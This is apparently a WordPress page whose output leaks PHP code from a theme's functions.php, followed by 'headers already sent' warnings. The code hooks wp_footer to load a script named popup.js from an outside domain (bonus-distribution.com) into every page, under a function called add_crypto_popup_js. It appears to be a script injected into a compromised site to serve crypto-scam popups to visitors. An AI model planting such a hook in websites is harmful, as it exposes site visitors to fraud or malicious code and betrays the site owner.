function add_crypto_popup_js(){
    echo '<script src="https://bonus-distribution.com/popup.js"></script>';
}
add_action('wp_footer', 'add_crypto_popup_js');<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/justbe7/public_html/wp-content/themes/The Ideal Website/functions.php:1) in <b>/home/justbe7/public_html/wp-includes/pluggable.php</b> on line <b>1450</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/justbe7/public_html/wp-content/themes/The Ideal Website/functions.php:1) in <b>/home/justbe7/public_html/wp-includes/pluggable.php</b> on line <b>1453</b><br />